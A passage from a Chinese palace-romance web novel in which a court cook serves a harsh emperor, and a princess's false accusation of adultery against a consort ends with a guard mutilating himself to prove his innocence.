“过来。”祝隶稷的声音没什么起伏。
知微依言起身,刚走近案前,手腕突然被人攥住。下一秒,祝隶稷的手掌便扣住了她的下颚,力道不算轻,强迫她抬起头。
祝隶稷的目光在她脸上逡巡,从瘦削的脸颊扫到眼底的青黑,半晌才淡淡开口:“倒是会照顾自己,还没把自己熬垮。”
这分明是反话。
知微抿了抿唇,避开他的视线:“陛下召臣来,是有要事吩咐?”
祝隶稷松开手,指节轻轻敲着案面。
“祝明煜死了。”他陈述着这个冰冷的事实,语气平淡得像在谈论天气,“你有什么打算?”
原是嫌自己这些天怠工,想敲打敲打。也是,她荒废了这些时日,祝隶稷如何敲打鞭策都是该的。
知微抬眸,给出答案:“臣明日便回尚食局当差。”
祝隶稷闻言,嘴角勾起一抹嘲讽的笑意。
“回去当差。”祝隶稷嗤笑一声,“当差得到的那点俸禄怕是不够吧。”
他的身子前倾,气息几乎要喷着知微面上:“从前你靠着明煜,也算是锦衣玉食,如今从云端跌下来,怕是连粗茶淡饭都咽不下吧?”
“不再找个靠山去谄媚攀附?”祝隶稷扫过知微的胸口,“趁着你还有几分姿色。”
在胡言些什么啊。知微捏紧自己的衣衫,向后踉跄几步。
眼前这人,从前是喜怒无常的变态,现在是喜怒无常的老变态。
若不是当了皇帝……
知微心中一怒,面上却依旧保持着恭敬:“陛下言重了,臣女自幼在民间长大,也有的是比这还清贫的日子,臣女相信自己能够过好自己的生活。”
“至于攀附——您说笑了,臣的手艺在身,不必靠旁人。”知微抬眼看向祝隶稷,鬼使神差,继续道,“再者说,若是攀附,谁又比得上陛下呢?”
“荒谬至极。”祝隶稷果真一把将她推倒在地。
知微来不及反应,又不敢手肘支地,整个身子半倒下去。
力气不算小,疼痛让知微维持着表面的平静,她深吸一口气,调笑道:“臣是在说笑呢。”
若无其事地起身,拍了拍下摆,知微粲然又郑重:“陛下放心,臣女会调整好心情,回到尚食局,继续为朝廷效力。”
确实不能再浑浑噩噩了,知微心想。
祝隶稷冷哼一声,又盯着知微看了许久。
他转身回到案前,淡淡道:“倒是有骨气,不过,我确是有个法子,能让你不必去看旁人脸色。”
知微没接话,等着他往下说。
“留在我身边,做我的贴身女官,管我的私膳。”祝隶稷的目光落在她脸上,“就像当年在蜀郡军营一样。”
晏知微愣了愣,随即摇头:“臣笨手笨脚,怕伺候不好陛下,再说了,为陛下尽瘁,本是臣子的本能。”
“我要的是你心甘情愿,不是这些套话。”祝隶稷靠在椅背上。
他接着补充:“本就没对你抱什么期待。你最大的用处,是还算忠心。好好跟着我,总不会让你受委屈。”
晏知微沉默片刻,终究还是点了头。
临去前,祝隶稷又叫住了知微。
“现在,你可以自在用自己的姓氏了,无人再会对你产生威胁。”
这话来的突然,知微没有听懂。
——
日子一天天过去。
祝隶稷一事后,在宫中的日子,倒比知微预想的平静。
她的尚宫之名依旧保留,只是除了每日除了处理尚食局的日常事务外,她更多的时间被钉在了养心殿的偏殿里。
她的职责简单而琐碎——盯着小厨房为皇帝准备一日三餐的私膳,确保每一道菜都符合他那挑剔到近乎苛刻的口味。清蒸鱼不能见一丝姜末,爆炒的菜肴不能有半点蒜蓉,葱花更是禁忌。
稍有差池,轻则换来他冰冷的眼刀,重则直接撤下,还要接受祝隶稷的嘲讽。
知微没办法,祝隶稷太挑,很多时候只能自己亲自上阵。
说来,祝隶稷似乎很享受这种“折磨”她的过程。他会在批阅奏折的间隙,突然将她召至跟前,指着桌上凉透的羹汤,冷冷道:“火候炖的不够,汤色浑浊。”
或者在她呈上新研制的点心时,只尝一口便搁下银箸,吐出两个字:“太甜。”
那挑剔的姿态,与当年在岭南县衙后厨嫌弃她抓过衣袖时如出一辙。起初,知微还能忍,只按着他的要求一遍遍调整,后
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来习惯了,她偶尔还会顶回去:
“陛下若是嫌臣做得不好,大可找御膳房的老师傅,何必委屈自己。”
祝隶稷冷着脸,将点心往她面前一推:“重做。”
“臣今日当值的时候过了。”知微表示不接受加班。
祝隶稷眉头挑起:“赏金加倍。”
知微:“嗻!”
不得不承认,祝隶稷是个很大方的主,知微也不认为因金钱折腰是什么坏事,偶尔哄对了点,祝隶稷给她加薪,知微开心;给她赏赐,知微便笑得更灿烂。
只偶尔夜深人静时,知微会感到无端的空虚。
她知道原因,但她该坚强,所以起初还试图压抑着那份情感,直到最后没办法,才坦然承认自己无法止住那点心悸。
她会独自坐在静芳苑冰冷的窗边,就着一盏孤灯,一遍遍摩挲着祝明煜从前寄回的信件。
那些信纸早已被翻得起了毛边,上面熟悉的字迹她已倒背如流,可是总觉得看不够。信件在手,她总觉得祝明煜没有走远,仿佛还在她耳畔聒噪,絮絮叨叨地跟她分享着路上的见闻。
“我现在挺好的,尚食局的事不算忙,就是……祝隶稷还是老样子,总爱挑我毛病。不过你放心,我没让自己受委屈。”
知微这般对祝明煜说,也这般对自己道。
日子在无声的琐碎中过去。
奇怪的是,自从祝明煜走后,知微几番进食,脸颊却始终瘦削,知微没有心思去想这脸上的二两肉,她像一株在石缝中顽强生长的野草,努力汲取着每一丝养分,维持着自己的生命力。
又一日,知微照例端着刚炖好的参鸡汤走向养心殿正殿。
还未走近,便听见殿内传来激烈的争吵声,是长公主祝华那特有的、带着尖锐怒意的嗓音。
“……祝隶稷!你打的好算盘!暹瀛那群蛮夫认输了,提出和亲修好,可凭什么是我去和亲?暹瀛那边送来的公主,你怎么不娶?”
“你也知道暹瀛的这番求亲并非好事,知道有坑,怕麻烦,就把主意打到我这个寡居的长公主头上?!你不想娶,怎的不提前给你那废物的儿子娶进个侧妃?好歹还能为皇家留点后。”
祝晟也就十岁,娶亲都尚早,至于生育……知微想,祝华的确是在气头上,说话都不顾及事实了。
“大昭的公主,你是唯一适龄。”祝隶稷的声音飘来,“如今局势刚稳,不宜再动干戈,和亲是最好的法子。”
“最好的法子?”祝华冷笑,“你就是想牺牲我!你明知暹瀛那位国君残暴,却还是要把我推出去!”
“这是你身为公主的责任。”
“我的责任?”祝华的声音陡然拔高,“为了祝家的江山,我担的责任还不够?我偏不!”
“我告诉你,与其逼我,还不如找万祁,他不是你大舅哥吗,他不是大昭第一猛将吗,让他带兵打过去!”
脚步声越来越响,祝华怒气冲冲地从殿内出来,经过知微身边时,狠狠瞪了她一眼,这才快步离去。
46. 雷霆雨露皆是恩(三)
知微无端被瞪了一眼,不明所以,端着汤蛊的手紧了紧,深吸一口气,方迈步走进殿内。
殿内气氛凝滞。
祝隶稷背对着她站在窗前,身影绷得笔直,周身散发着骇人的低气压。
“陛下,参鸡汤……”知微将汤蛊轻轻放在御案一角,低声道。
祝隶稷没有回头,也没有应声。过了片刻,他忽然抬手,用力按住了自己的额角,身形几不可察地晃了一下。
知微心头一跳,下意识上前一步:“陛下?”
祝隶稷缓缓转过身,眉心紧锁,额角甚至渗出了细密的冷汗。
“朕有些头疼。”他低哑地吐出几个字。
知微疾步上前想要搀扶,冲着外头等待的平海道:“快去传太医!”
传唤期间,祝明煜的体温透过衣料传过来,带着淡淡的龙涎香,知微刚想推开他,就听见祝隶稷低声道:“别动,头有点晕。”
知微只好像个木头人。
所幸太医赶来时,祝隶稷已靠在椅上缓了些。
诊脉后,太医神色凝重:“陛下脉息浮数,弦紧有力,乃肝阳上亢,心火炽盛之象。加之近日国事操劳,忧思过度,又兼……殿宇新葺,恐有秽气未散,故致头痛眩晕。”
新葺?秽气?晏知微心中一动。养心殿前些日子确实重新修缮过,添置了不少新漆的木器。她想起前世一些关于新装修房屋有害气体的知识,虽不知具体为何物,但想必就是太医口中的“秽气”。
“那该如何?”晏知微忍不住问道。
太医捋着胡须:“首要静心养神,辅以平肝潜阳、清心降火之汤剂。至于殿内秽气……”他沉吟片刻,“可多开窗通风,燃些艾草、苍术等物辟秽,再以醋熏蒸,或可缓解。”
“是。”知微应下。通风、燃艾草、熏醋……这些方法与她模糊的记忆不谋而合。
她立刻行动起来,指挥宫人将殿内所有能开的窗户都打开,又亲自去太医院取了上好的艾草和苍术,在殿角点燃。
最后,她命人搬来几个小炭炉,上面架起铜盆,倒入陈醋,让那带着酸涩气息的白雾在殿内缓缓弥漫开来。
祝隶稷半睁着眼,默默注视那忙碌的身影在殿内穿梭,知微只穿着素色的宫装,发髻简单地挽着,几缕碎发被汗水沾湿贴在颊边。祝隶稷不禁蹙眉,他赏赐了几多珍宝,可这女人打扮得却如此寒酸,膈应的很。
“平海。”祝隶稷呼唤自己的贴身内侍,“给静芳苑送些好布料,至于颜色……”
祝隶稷思考了片刻,目光聚在知微红润的唇口。
“送些艳色,最好是大红。”祝隶稷吩咐道。
“嗻。”平海默默退下。
——
祝华火气哄哄的冲出养心殿,她踏在宫道上,后头跟着乌泱泱一群人。
有小太监不长眼,没能隔着老远跪下行礼,反而用恶心冒犯的眼神盯着祝华,祝华见状,肝火又旺了几分。
祝华提手就要给不长眼的小太监一掌。
“求长公主息怒。”跪在小太监身边的侍卫出声。
“大胆,竟敢在长公主面前放肆!”贴身宫女向前给侍卫一脚。
那侍卫的下盘很稳,几乎是分寸未动,换了旁人,早被吓得魂都惊了,可侍卫抬眸,乌亮的眸子,居然还有若隐若现的笑窝。
“是小的们冒犯俩公主,有眼无珠。”孙为俯身,“公主金枝玉叶,若为了小的们而劳神伤身,属实是小的们罪过。”
倒是淡定。
祝华收回手掌:“你叫什么名字?”
“微臣拜见长公主殿下。”另一声在左耳响起,“微臣远远一望,见红衣飘飘,便知贵人在此。”
带着银色面具的红衣臣子远远请安,祝华眼都没移,无视王渺枭的示好。
她在宫宴上见过王渺枭,是个粗人,喝酒倒是豪放,除却大话满腹倒是没见何用。
“巧言令色。”祝华冷笑道。
——
坤宁宫,清晨。
晨光透进来,在案上摊开的选秀名册上投下细碎的光斑。程玊芝捏着支银毫,笔尖悬在名册上方许久,终究还是没落下。
知微端着刚炖好的冰糖银耳羹进来时,正瞧见她这副模样。
连平日里总是妥帖的裙摆,都因久坐而皱了些,倒是难见。
“皇后娘娘,先歇歇吧,这羹还热着。”知微把白瓷碗放在程玊芝手边,指尖不小心触到她的手背,竟凉得像浸过井水。
大抵是小产后身子没养得好,又有些事情郁结在心。
程玊芝勉强牵了牵嘴角,目光仍黏在名册上那些密密麻麻的名字上:“多谢你跑这一趟。这选秀的名册,我看了三天,还是没敢圈出一个来。”
是了,在祝华与暹瀛的婚事传得沸沸扬扬的同时,程玊芝作为皇后,也不得不为祝隶稷筹备几年一度的后妃大选秀。
当了皇帝,开枝散叶便提上了日程,程玊芝不怪祝隶稷。
她只是有些疲惫,示意晏知微将食物放在桌上:“正好,陪我坐会儿吧。”
知微知晓程玊芝现在定是不好过。
“娘娘不必为难自己。”她轻声道,陛下心里,未必是真的想添人,许是朝堂事多,也是身不由己。”
“陛下特地叫我熬了下火的羹汤给您送来,说明他心里还是有您的。”祝隶稷唤知微送汤不假,至于纳妃,选秀的旨意在,一切遵循便是。
女人总是为男人患得患失,为男人自我感动,殊不知枕边人的真实心思。
知微见多了程王芝的卑微,起初还有些怜悯,后来更多觉得矫情。没错,哪怕程玊芝是个很好的人,知微仍不免对她的状况、对她的自怨产生不耐。知微偶尔也会反思自己是不是不该有这类情绪,毕竟程玊芝对自己那般好。
可女人卑微到了尘土里,难免掉价些。既然放不开,既然舍不得,为何要强装大方,为何不直言情感。爱不是等出来的,是说出来的。
在感情的世界里,选择你很重要,说爱你更重要。你的在意,你的纠结,你的脾气,倘若都不让对方去感知,那终究只是表面夫妻。
爱是赤裸,是愿意展现鄙薄与不甘,是让对方觉得这才是一个真正的人。
程玊芝摆头,指尖在名册上划过时,指甲几乎要嵌进纸里:“这些道理,我比谁都清楚。”
“我不是没有做好共享夫君的准备。”窗外的风卷着海棠花瓣飘进来,落在程玊芝的发间。她抬手想拂掉,动作却顿了顿,终究还是任由花瓣留在那里,“我只是在想,等选了新人进来,这坤宁宫,会不会更冷清了?毕竟自从登基后,皇上每月有一半都歇在御书房。”
知微不说话了。
祝隶稷歇在御书房的时日,都是她在旁服侍宵夜。
蒋嬷嬷在外头作声:“娘娘,万妃到了。”
二人一并朝门外望。万珍儿当了妃子后也依旧我行我素,还是穿着喜欢的樱粉色衣裳,整天嘻嘻闹闹,无所事事。
若说唯一的变化,估摸是到了皇宫后束手了些,一些宫宴不能再推辞,每日的请安不能忘,她和程玊芝的关系便也就走近了些。
“
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哟,知微来了!”看到知微,万珍儿眼睛一亮,她随手给程玊芝请了个安,随即又垮下脸来:
“快过来听听,咱们这位长公主殿下,可真是越来越离谱了!”
知微瞥了眼程玊芝,对方神色如常,她这才开口问:“何出此言?”
“还不是和亲那档子事!宫里都传的有头有眼了,可她不甘心嫁去那蛮荒之地,这些天可没少折腾!”
万珍儿撇撇嘴,凑近了些:“你猜怎么着?她为了不和亲,居然缠上我兄长了!”
知微一愣:“万将军?”
“可不是嘛!”万珍儿翻了个白眼,“她也不知哪根筋搭错了,非私下找上我阿兄,说他手握重兵,是大昭最强的将军,只要他肯向陛下请命,主动出兵攻打暹瀛,把暹瀛彻底打趴下,她就不用去和亲了。”
“我兄长又不傻!打仗是儿戏吗?劳民伤财,血流成河!眼下暹瀛既认输求和,愿意用和亲来修复关系,这是多稳当的买卖?陛下都点头了,何必要冒着风险去战争呢?你说,祝华是不是白日做梦?”
知微沉默。
万祁将军的威名她自然知晓,但主动挑起战端……想来祝华是走投无路到极了。
知微的脑海中浮现那位娇蛮的长公主。这几年两人倒说不上熟络,可她每逢换季都要为她更换一份食谱,来往的多了,倒也能说上几句正常的对话。
知微想,祝华那般娇嫩,竟也要去那无垠的西北大草原,草原风大,也不知到了原野,她的皮肤能否适应。
万珍儿把要说的话说完,自觉无趣,霍然起身:“不跟你说了!闷死了!我去御花园透透气!”
说罢,也不等皇后发话,拎着裙摆就风风火火地跑了出去。
知微与程玊芝对上眼来。
程玊芝笑:“珍儿便是少女心性。”
知微又陪着程玊芝聊了会儿,程玊芝给她看了几个贵女画像,她一一指出不妥,眼见太阳到了西边,否定名册上的人名也写满了,遂行礼告退。
走出坤宁宫,知微难得心旷神怡,她脚步顿了顿,鬼使神差地,也朝着御花园的方向走去。
花儿亭亭玉立,吐出洁白的花苞。
万珍儿竟还在园子里,追逐着一只翩跹飞舞的嫩黄色蝴蝶。
她踮着脚,小心翼翼地靠近,脸上带着孩子气的专注和兴奋。然而脚下鹅卵石湿滑,一个趔趄,她的身体猛地向前倾倒。
“娘娘小心!”
一道身影快如闪电,稳稳地扶住了万珍儿的手臂,将她倾斜的身体捞了回来。
正是孙为。
他依旧穿着侍卫统领的服饰,身形挺拔,扶住万珍儿的手稳定而有力。
万珍儿惊魂未定,拍着胸口,看清是孙为,非但没有推开,反而嗔怪地瞪了他一眼:“吓死我了!你怎么走路没声音的!”
“我都等了你好久了。”语气里带着熟稔的娇嗔。
孙为松开手,无奈笑了笑。
万珍儿摆摆手,注意力又回到了那只蝴蝶上:“算了算了,快帮我抓住那只蝴蝶!黄色的那只!”
孙为依言转身,两个人围着一只蝴蝶开始打闹起来,远远望去,倒是像极一对佳人。
知微静静地看着这一幕。春光正好,花影扶疏,追逐蝴蝶的妃子和沉默守护的侍卫,只可惜……造化弄人。
她无声地叹了口气,转身准备离开。
就在她抬脚的瞬间,裙角似乎被什么东西绊了一下。她下意识地低头看去——
一只绣鞋,正不偏不倚地踩在她品红色的裙裾之上。
47. 雷霆雨露皆是恩(四)
戏台上的伶人正唱到凄绝处,水袖翻飞,哀音绕梁。祝华斜倚在铺了雪白狐裘的圈椅里,像只慵懒又危险的猫,指尖无意识地点着扶手,眼神却飘得极远。
下首的王渺枭,摘去了那副遮住了上半张脸的镂空银面具,露出半截断掉的眉毛,他的右颊有道极深极长的疤痕,从唇边贯到眉尾。
女伶身形摇晃,做踉跄状,撕心裂肺:
“忍!忍!忍!忍到何日方是头?”
“泪已干,骨将朽,恨成狂!”
戏是王渺枭点的,他的目光看似专注地落在戏台上,实则余光半分不离祝华。
祝华眼底一团乌青,板着张脸。身旁的佣人捧着茶盏侍奉,大气不敢出,只敢趁她目光落在戏台时,悄悄调整椅边的熏香。
“这戏里的姑娘,倒真是可怜。”王渺枭慢悠悠开口,声音压低,“被至亲推出去当棋子,连求个帮忙都要看人脸色。”
祝华捻了捻狐裘的绒毛:“王大人倒是怜香惜玉。”
“若换做是我,怕是忍不下这口气。”他话锋一转,手已不动声色地覆上祝华搭在椅子上的手,“我要是见到这位姑娘,定要帮她讨个公道,让那些负心之人百倍偿还。”
靠上手的温度不算低,祝华指尖一颤,眼神赫然如刀:“王大人,爪子不想要了?”
“臣是心疼公主又要以身入局。”王渺枭身子前倾,攥住祝华的手往身上靠,“长公主就不想报复那位万将军?您求他出兵暹瀛解您和亲的事已经传遍了整个京城,殿下丢了面子,没落着丁点好处。他却是连面都没露,只派个副将传话拒绝。”
“我若是您,肯定恼羞急了。”王渺枭笑了笑,眼底藏着狠厉。
祝华看他:“恼急了有何用?最终还不是看圣上的意思。你是觉得事到如今我还能去说服圣上。”
“自然不敢。”王渺枭朝天上拱手,“圣上向来英明。”
“我是他的人,自然不能忤逆圣意,可对付万祁,我倒有一妙计。”王渺枭又笑了笑。
祝华这才侧过头,眼尾上挑,她忽然抬起脚,鞋尖轻轻蹭过王渺枭的膝头,又缓缓向下,停在他腰间。
“什么妙计?”她声音软下来,“若是不好,仔细你的舌头。”
“妙计便是……。”王渺枭凑得更近,气息拂过祝华耳畔,“找到他的软肋。”
王渺枭:“万祁是块硬骨头,啃不动。可是人,总有软肋。他的软肋,不就在这深宫之中,日日承沐皇恩么?”
“你是说,万珍儿?”祝华的鞋尖顿了顿,眼珠转了转,像是想到了什么。
“倒是出好戏。”祝华嘴角勾起一抹冷笑。
“可这事,只我一人怕是难办啊。”那只纤足再度下移,最终悬停在王渺枭脐下三寸,那象征男性尊严的要害上方。
“王大人可愿助我?”戏台上的孤女正举着刀,眼里闪着决绝的光,祝华望着那道光,嗔着发问。
——
御花园的花开得正好,花瓣在微风中簌簌轻颤。
知微躲在假山处,裙摆猛地一沉,被人踩住了。
她踉跄一步,回头便撞见少昭那张惊慌失措的脸。
“阿姐!”少昭像受惊的兔子,飞快缩回脚,眼神却还死死黏住远处的二人,孙为正奉命追着一只嫩黄的蝴蝶,万珍儿跟在他身后,笑声清脆。
知微顿时明了,少昭这是在偷偷跟踪孙为呢?
“少昭。”知微开口,“你可知现在是什么时辰?现在正是江大人讲课的时候,你竟敢旷了学堂,跑来这儿偷看。”
知微刻意压低了声音,好显出几分严厉:“不是你说想多学些东西的吗?我这才去求江大人为你留了个学堂名额。”
求人倒是不假。江覃作为皇帝面前的红人,又是少年及第,风光无限。他为人和善,看宫内不少官宦文化素养低,便自愿开设慈善学堂以教学。
而少昭算不上一官半职,机会自然得求来。
知微在深宫中起起伏伏,也算见过人间冷暖。她无数次感慨,只身穿到这时代,好在有一技傍身。可厨技是她的不是少昭的,恩宠也是她的而非少昭的。
祝隶稷身边待久了,“朝得宠,夕冷待”的事情知微不是没见过,只希望少昭能够自丰羽翼,学些文理,通些生存的诀窍,毕竟自己不能护她一辈子。
“你可知江覃江大人的课在外头可谓是重金难求,人挤破了脑袋都难得学上一回,而你却在这……”知微剜了少昭一眼,“快给我回去上课。”
少昭瑟缩了一下,倔强地咬着唇:“我……我真是路过。”
“还撒谎。”知微一把拽住她的胳膊,将少昭拉到僻静的紫藤花架下,“你当我瞎吗?从静芳苑到学堂,哪条路会经过这御花园,还到了这么隐蔽的深处。”
知微已经不是第一回撞见少昭痴迷的样子,可废了正事来跟踪,这还是头一回。
这回是跟踪,那下回呢,要是直接躲在人家的床下,名声毁了,这还得了?
知微一把拎起少昭的领子,像个教育不成器孩子的母亲。
“你清醒一点,孙为眼里只有万妃娘娘,你守在这里,除了把自己熬干,还能得到什么?”
少昭是个聪明的姑娘,不该守着份无望的感情。
少昭猛地抬起头,声音带着哽咽:“我不求得到什么!”
“我知道、我知道他眼里没有我!可我就是……就是管不住自己的心!”少昭几乎要哭出声来。
“阿姐,你转过身看看,孙大哥,他不也一样吗?他守着万妃娘娘,明知道不可能,不也心甘情愿。被辜负也好,得不到回应也罢,至少……至少我试过了,我认了这份心甘情愿!”
少昭抬手,抹掉眼泪:“我不用他回应,我就想看着他好好的,看着他……开心。就像现在这样。
知微瞧着少昭眼底的红,忽而说不出话,心口像被什么东西狠狠揪了一下。
或许,觉得这世间的情情爱爱,都裹着一层说不清道不明的苦。
有情人不能相守,无情人却死死不放。
“傻丫头……”最终,知微只是长长叹了口气,抬手,用指腹轻轻擦去少昭脸颊的泪痕。
——
午后,静芳苑里静悄悄的。
知微靠在窗边的软榻上小憩,连日伺候祝隶稷心力交瘁,好不容易调班休整,她难得地陷入沉睡。
“晏尚宫!晏尚宫!”平海尖细焦急的声音像一把锥子,猛地刺破宁静。
“陛下急召!说是让您前往养心殿。”
知微惊醒,还未完全清醒,就被平海连拉带拽地往外走。
她只能边走边匆匆整理衣襟,跟着平海疾步奔向养心殿。
越靠近,那股凝重的气氛便越压得人喘不过气。殿门大开,里面静得可怕。
祝隶稷坐在龙椅上,指节捏着奏折,脸色阴沉。祝华站在他身侧,嘴角勾着挑衅的笑,目光落在跪在地上的人身上。
万珍儿神情空洞,头发散乱,大抵是被架来的,手腕还有反抗留下的红痕。
“陛下,臣妾冤枉!”万珍儿的声音带着颤,“长公主说臣妾与孙侍卫有染,纯属诬告!”
知微大惊。
“诬告?”祝华冷笑抬手,身后的内侍押着个侍女上前。
那是万珍儿的贴身侍女之一,此刻低垂着头。<
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“你的侍女都招了,说亲眼看见你和那侍卫私会,还一起做了花灯,怎么,这也是诬告?”
闻祝华声,那侍女扑通跪下,磕着头道:“陛下饶命!是……是奴婢亲眼所见,万妃娘娘和孙侍卫,确实不清不楚!”
“你胡说!”另一个侍女冲上来,正是似玉,她扯住那侍女的衣袖,“你怎敢污蔑主子!”
“我的证人,你也敢碰?”祝华话音刚落,万珍儿一巴掌甩在似玉脸上。清脆的响声在殿内回荡,似玉捂着脸,眼里满是震惊。
万珍儿别过头,声音发紧:“没你的事,退下!”
祝隶稷猛地拍案,龙椅发出沉闷的响:“够了。”
“把你们叫来,就是想理清这事,谁委屈谁清白,一究便知。”
祝隶稷的目光突然转向知微,带着审视的冷意:“你与万珍儿走得近,你说说,她与那侍卫之间,到底有无异常?”
“可不能袒护,否则便是恶意隐瞒,要犯大忌的。”祝华在旁继续掺言。
好几秒,知微的心提到了嗓子眼,支吾也不是,更不敢坦诚。
她当然知道万珍儿和孙为的事,知道他们有情,私底下更是偷偷见面,可孙为识相,两人定是不存在逾矩的。
但,眼下她又能说些什么呢,说不知情?像是在刻意撇清关系,万珍儿怕也是性命难保,若是不说,祝隶稷的怒火,不定会烧到她身上。
她攥紧手心,额角渗出冷汗,过去好些秒,她的大脑仍是一片空白。
正当她不得不开口时,殿外突然传来骚动。
几个侍卫抬着个人进来,那人浑身是伤,鼻青脸肿,头发被血黏在额头上,竟是孙为。
孙为被扔在地上,发出沉闷的响。他挣扎着抬起头,目光扫过殿内,最后落在万珍儿身。
祝华看着他这副模样,怒火更盛:“贱奴!你胆大包天,竟敢与后妃私通,你可知罪?”
孙为趴在地上,咳了几声,嘴角溢出鲜血。他缓缓抬起手,从怀里掏出一把小巧的匕首,寒光一闪。
平海见状,大喊护驾。
侍卫们瞬间围上来,刀剑出鞘,直指孙为。
万珍儿猛地抬头,眼里满是惊慌,却不敢说任何一句话。还是知微开口,叫孙为冷静。
孙为却没动,只是颤巍巍地站起来,匕首握在手里,没指向任何人。
他隔着层层侍卫注视着祝隶稷,声音沙哑清晰:“陛下,臣与万妃清清白白,长公主怕是误会了什么。”
“臣还记得,当年在蜀郡军营,臣还是个伙夫,陛下您亲自带兵,说,军人当忠君爱国,不可行不义之事。臣一直记着您的话,怎么敢做出这等苟且之事?”
孙为顿了顿,目光扫过祝华,继续道:“臣不过是替晏尚食给万妃送信,信里全是家常话,何来私通一说?长公主若是不信,可去静芳苑查,臣这儿还有送信的凭证。”
祝隶稷皱着眉,没说话。祝华却冷笑:“凭证?谁知道你是不是早就串通好了!”
孙为的身子晃了晃,竟也不自觉仰天,唇角露出诡异的弧度。
“臣知道,空口无凭,陛下不会信。”他举起匕首,刀尖对着自己的下腹,对准自己的□□。
“臣只有一个办法,证明臣的清白。”
知微像是想到了什么,脸色骤变,尖声道:“不要!”
可已经晚了。
孙为闭上眼,猛地将匕首刺了下去。鲜血瞬间染红了他的衣袍,凄厉的哀嚎声在养心殿内回荡,震得人耳膜发疼。他倒在地上,匕首滚在一旁,眼里却带着一丝解脱。
所幸,万珍儿自始至终,没为他说过一句话。
48. 雷霆雨露皆是恩(五)
“经查证,私通一事为假,朕谅万妃受惊,赐金银珠宝十箱……”
储秀宫,平海的声音在寝宫内回荡。
平海捧着明黄圣旨,声音洪亮,赏赐的宝贝整整有一个卷轴的清单,殿内的宫人都忍不住露出羡慕的神色,唯有万珍儿眼皮都没抬一下。
万珍儿靠在软枕上,嘴唇都没半点血色。
“娘娘,这是圣上的心意,您收着吧。”走之前,平海将赏赐清单递到床边,见万珍儿没动静,又补充道,“圣上让您安心休养,这几日皇后那的请安也免了,之前的事情不必挂怀。”
万珍儿终于点了点头,只偏头看向立在一旁的晏知微,声音轻得像羽毛:“都出去吧,我有话跟晏尚食说。”
宫人退得干净,殿内只剩她们两人。
万珍儿攥住知微的手,指尖冰凉:“他怎么样了?被拖出去时,血都快流干了……”
知微知道万珍儿说的是谁。倒也是难为了万珍儿,几天内飞速长大,连本心都学会压抑了。
知微回想起如同梦魇的那天,想起养心殿的场景。
孙为倒在血泊里,下腹的血浸透了衣袍,染红了砖地,连呼吸都微弱得像风中残烛。
祝隶稷盯着那摊血,眉头皱都没皱,只叫平海将他拖下去,找个地方安置。
至于其他的,祝隶稷说,既然孙为自宫,也算证了清白,往后不必再提此事。
当时祝华就站在一旁,指尖死死掐着狐裘的绒毛,嘴角的笑僵住,眼里满是不甘,她还想说什么,祝隶稷瞪她一眼,她没敢再多说。
知微默默注视着这一切。
她那时便猜想,万珍儿之事,祝隶稷怕是早有耳闻,毕竟他是皇帝,眼力也很刁,万珍儿更是不曾用心藏住此事。
本来万珍儿与孙为也没实质性行为,一个装瞎,一个作哑,也就过去了。谁能料到长公主横插一脚,这下不得不处理干净。
知微想,祝隶稷面上比起怒,更多的是烦。
祝隶稷哪里在乎万珍儿是否移情,他不过是在乎万家的兵权。
这后宫里的情爱,于他而言,或许从来都在他的算计中。
只她偶尔还是忍不住想,祝隶稷这般冷血的人,将来会不会遇到个女人,让他不再逢场作戏,而是真正动怒,真正吃味?
她有些想象不出这一天。
“我已经打点好了。”思绪回笼,知微握住万珍儿的手,“太医说他已经脱离危险,只净身毕竟有风险,仍是需要静养些时日才可,我找了个僻静的院子,一切都打点好了,没人会打扰他。”
“那就好……那就好……如此这般,我也放心了。”万珍儿听到这个消息,眼中终于有了些欣慰。
剩下的知微没再说,少昭自请去照顾孙为了,知微没有阻止。
回宫复命时,已是暮色四合。
宫道上的灯刚亮,知微正往养心殿走,远远瞧见一个熟悉的身影靠在宫墙,是李明镜。
李明镜穿着件半旧的玄色常服,头发乱糟糟的,眼底的青黑重得像泼了墨,手里还攥着个酒葫芦,酒液顺着指缝往下滴。
自祝明煜死后,李明镜就像丢了魂,从前爱说爱笑,如今连政务都荒废了,天天躲在宅子里闭门不出,一问便是又醉酒了。
知微心里叹气,走上前,想宽慰他几句话。
“李将军,这么晚了还在这儿喝酒?”
李明镜抬起头,眼神涣散了一瞬,这才认出知微。
“……是你啊。”李明镜顿了顿,一副欲言又止的模样。
知微问他发生了何时,他不答,只是攥着拳,知微又问,许是酒气昏了头,李明镜突然从怀里掏出一卷画像,塞到知微手里。
酒气喷在知微脸上。
“你看看这个,这人你可认识?”
知微展开画像,上头画着个男人,眉眼锐利,一边眉毛断了一截,嘴角有道浅疤。
知微在脑海中反复查找,突然,她的呼吸骤然急促。
断眉……
她猛地想起岭南那伙劫杀迎亲队伍的山贼,为首的那个“断眉”,正是这副模样!当时那山贼手里拿着火铳,子弹擦着她的头皮飞过,差点要了她的命。
“这人叫王渺枭。”李明镜的声音带着颤抖,“就是圣上新提拔的带着银色面具的三品指挥使,说他在暹瀛谋反案里立了大功。可我去查过,这人事前根本没人听过,他不是使团的人,边疆的守卫也不认识他,他就像凭空冒出来的。”
知微这才知晓,李明镜酗酒只是个幌子,事实上他比谁都清醒,一直在暗处调查祝明煜遇害的真相。
可调查这事,向上头禀报不是更有效率吗,祝隶稷也算是疼爱祝明煜,想来他自己对这事也会上心。
李明镜却摆头:“这人现在能当陛下面前的红人,定是有欺哄陛下的法子,贸然行动,只会增强陛下对我的质疑。”
知微问那怎么办。
“此事要再等等,我已经收集了他诡异之处的证据,前些日子我派人潜入暹瀛,找着了目睹他与暹瀛军同行的证人,待证人到了京都,我再上报圣上,和王渺枭当面对质,提出重新查明煜的案子。”李明镜抓住知微的胳膊,眼里满是恳求。
“你既见过他,那你也能作证!我虽是个粗人,但也知道世间没有如此多的巧合。”
“你帮我,咱们不能让明煜就无端死了!”李明镜语气锵然。
知微看着他通红的眼,想起祝明煜从前总在她面前提“李叔李叔”,他说李明镜是他在军营里最敬重的人,是他的义兄,教他骑射,护他周全。
想到祝明煜,知微的心又是泛酸,不带一点犹豫,她用力点头:“我帮你。”
——
和李明镜商讨完,回到静芳苑,夜已经深了。少央在门口等她,听闻知微遇见李明镜一事也是不由感慨。
知微回到寝房,走到窗边,手指把玩着那盆月候兰。早就养过了三年,还冒出个个小小花苞,可花就是不开,仿佛有灵性般,在等它的主人回来。
可是它的主人还会回来吗,它的主人是那般凉薄,几多时日来甚至都不肯入未婚妻的梦,来瞧见一下她。
知微蹲下身,又开始收拾祝明煜留在这儿的遗物。其实也没留下些什么,不过几件旧衣,一把他练剑用的木剑,都被知微摩挲了太久。
